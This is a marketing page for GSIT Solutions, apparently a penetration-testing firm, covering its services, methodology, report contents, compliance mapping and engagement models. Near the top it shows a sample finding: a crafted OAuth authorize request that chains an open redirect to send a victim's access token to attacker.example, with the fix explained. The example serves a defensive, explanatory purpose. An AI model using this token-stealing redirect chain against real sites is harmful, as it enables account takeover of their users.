Web application testing
Access control, authentication, business logic, payment and file flows. The bugs that need a person who understands what your app is for.
GSIT Solutions tests web apps, APIs, mobile apps, cloud and AI systems the way real attackers do. Our testers are active bug bounty hunters. Every finding you receive has a working proof of concept, a CVSS v4.0 score, the business impact in plain words, and a fix your developers can act on.
GET /oauth/authorize?response_type=token&client_id=web &redirect_uri=https://app.example.com/logout?next=//attacker.example 302 app.example.com/logout?next=//attacker.example#access_token=eyJhbGciOiJSUzI1 302 //attacker.example # browser keeps the #fragment
ImpactAny signed-in user who opens one crafted link hands their access token to the attacker. Admin accounts included. No password or MFA bypass needed.
Automated tools judge each weakness on its own, so two minor issues stay minor. Our testers ask what they add up to, because that is how real breaches happen. Here is the chain behind the finding above.
/logout?next= sends the browser to any URL. On its own it looks like a phishing nuisance.
The login provider accepts any path on app.example.com as a return address, and still allows the implicit flow.
The token lands in the URL fragment, the redirect forwards the browser, and the browser carries the fragment to the attacker's page. One click, and the attacker is signed in as the victim.
"Open redirect", ranked low. Nothing about login, tokens or accounts.
Account takeover, CVSS 8.5, with a video PoC and a two-part fix: exact-match redirect URIs, and retire the implicit flow as RFC 9700 recommends.
Each engagement is scoped to your stack and risk. Grey-box by default, so testers spend their hours finding bugs, not guessing at logins.
Access control, authentication, business logic, payment and file flows. The bugs that need a person who understands what your app is for.
REST, GraphQL and gRPC. Object- and function-level authorization, mass assignment, rate limits and token handling.
The app build and the backend it talks to. Local storage, deep links, certificate pinning and secrets shipped in the binary.
Prompt injection, data leaks through RAG, agents tricked into misusing their tools, and exposed MCP servers.
AWS, Azure and GCP. IAM privilege-escalation paths, public storage, metadata-service SSRF and secrets in CI/CD.
We map what you expose the way bounty hunters do: forgotten subdomains, takeover candidates, open admin panels and keys in JS bundles.
Targeted review of the code that carries the most risk: auth, payments, file handling and crypto. Pairs well with a pentest.
External and internal network testing, Active Directory attack paths, exposed services and patch gaps.
We agree targets, test windows, accounts and off-limits systems in writing. Nothing is tested without signed authorization.
We map the attack surface: endpoints, user roles, third-party integrations and assets your team may have forgotten.
Tools give coverage. Testers handle logic flaws, access control and chaining small issues into real ones.
Each finding is exploited far enough to prove impact and no further. No bulk data pulls, no service disruption.
You get the report plus a call with the testers, so developers can ask exactly how each bug works.
Once you fix, we retest every finding and issue a letter you can share with customers and auditors.
Critical findings reach you the day we confirm them, with enough detail to start fixing. You don't wait for the final report.
Written for two readers: leadership, who need the risk in plain words, and engineers, who need to reproduce and fix.
Executive summary with overall risk, top issues and what to fix first.
Severity and CVSS v4.0 vector, affected asset, steps to reproduce, proof of concept, business impact and a specific fix.
Raw HTTP requests, screenshots, PoC scripts or video where they help.
Retest results per finding and an attestation letter.
| Framework | What it asks for |
|---|---|
| ISO/IEC 27001:2022Annex A 8.8 | Identify and act on technical vulnerabilities. Our dated findings and retest results show both. |
| PCI DSS v4.0.1Req. 11.4 | Regular internal and external penetration tests with a defined methodology. Scope and method are stated in every report. |
| SOC 2Common Criteria | Evidence that risks are found, rated and fixed. The remediation trail covers it. |
| DPDP Act, 2023India | Reasonable security safeguards for personal data. We show which personal-data flows were tested and how they held up. |
Before a launch, an audit, an enterprise deal or a funding round. Fixed scope, fixed dates, fixed quote.
Get a quote →We test what changed in each release, so cost tracks how fast you ship and new features never go live untested.
Get a quote →Quarterly deep tests plus monthly checks of your external attack surface. Built for teams that deploy weekly.
Get a quote →GSIT is run by security researchers who report vulnerabilities to companies through public bug bounty programs. Bounty work pays only for real, proven impact, so that is the bar we test to.
The person who scopes your test is the person who does it. No hand-offs to juniors, no outsourced testing.
Most web or API tests need 5 to 15 working days of testing, depending on the number of user roles, features and endpoints. Scoping takes a day or two, and the report follows shortly after testing ends.
We prefer a staging environment that mirrors production. If we test production, we agree test windows, avoid destructive payloads and throttle our tools. You get a direct contact who can pause testing at any time.
Grey box by default: test accounts for each role and basic documentation. It finds the most in the time you pay for. Black box suits an outside-attacker simulation. White box, with source access, suits high-risk features like payments.
Signed authorization, the list of targets, test accounts for each user role, and a technical contact during the test window.
Yes. One retest of all reported findings is included when you fix within 90 days of the report.
Yes. Reports state scope, methodology, test dates, CVSS v4.0 ratings and retest results, which is what ISO 27001, SOC 2 and PCI DSS assessors usually ask to see.
By scope: number of applications, user roles, API endpoints and environments. Send us the details and we reply with a fixed quote, not a day-rate estimate.
A 30-minute call to understand your app, agree scope and give you a fixed quote. No obligation.
contact@gsitsolutions.com